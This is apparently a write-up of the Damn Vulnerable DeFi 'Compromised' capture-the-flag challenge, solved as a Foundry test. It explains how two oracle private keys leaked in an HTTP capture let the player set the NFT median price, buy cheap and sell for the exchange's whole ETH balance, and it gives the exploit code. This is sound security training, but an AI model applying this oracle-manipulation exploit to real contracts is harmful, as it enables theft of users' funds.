Challenge #7 - Compromised#
In order to learn solidity and foundry systematically, I rewrote the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to discuss and build together~🎉
Contracts#
- Exchange: Provides methods for purchasing (minting) and selling (burning) DamnValuableNFT, with prices provided by an oracle.
- TrustfulOracle: A trusted price oracle contract that maintains the prices of NFTs set by several trusted accounts, and provides a method for querying the median price of NFTs.
- TrustfulOracleInitializer: Used to deploy the TrustfulOracle contract and initialize NFT prices.
Testing#
- Deploy the TrustfulOracleInitializer contract, and also complete the deployment of the TrustfulOracle contract, setting the initial NFT price to INITIAL_NFT_PRICE.
- Deploy the Exchange contract, and also complete the deployment of the DamnValuableNFT contract, depositing EXCHANGE_INITIAL_ETH_BALANCE.
- Execute the attack script.
- Expect the balance in the Exchange contract to be 0, the balance of the player to be EXCHANGE_INITIAL_ETH_BALANCE, the player does not own any NFTs, and the median price of NFTs in the oracle to be INITIAL_NFT_PRICE.
Solution#
By reading the Exchange contract, it can be found that the ETH to be paid and received in buyOne
and sellOne
are provided by the oracle, and the price of the NFT is obtained through the oracle.getMedianPrice()
method.
The goal of the attack is to obtain all the ETH in the Exchange contract. This can be achieved by buying low and selling high. Therefore, the ultimate goal is to manipulate the oracle. By analyzing the method of obtaining the median price of NFTs in the oracle, it can be known that manipulating more than half of the oracles can achieve the goal of modifying the price.
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = getAllPricesForSymbol(symbol);
LibSort.insertionSort(prices);
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
The question provides a captured HTTP message, and it can be reasonably inferred that these two strings correspond to the private keys of two oracles. Convert the hexadecimal numbers to ASCII codes, and then decode them using base64 to obtain the two private keys.
The complete flowchart is shown below:
First, manipulate the oracle to lower the price of the NFT so that the player can buy it. Then manipulate the oracle to raise the price of the NFT so that the player can sell it to complete the attack. The code is as follows:
function testExploit() public{
/*Code solution here*/
oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);
postPrice(0.0001 ether);
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 0.0001 ether}();
vm.stopPrank();
uint256 exchangeBalance = address(exchange).balance;
postPrice(exchangeBalance);
vm.startPrank(player);
nftToken.approve(address(exchange), id);
exchange.sellOne(id);
vm.stopPrank();
postPrice(INITIAL_NFT_PRICE);
validation();
}
function postPrice(uint256 price) public{
vm.startPrank(oracle1);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice('DVNFT', price);
vm.stopPrank();
}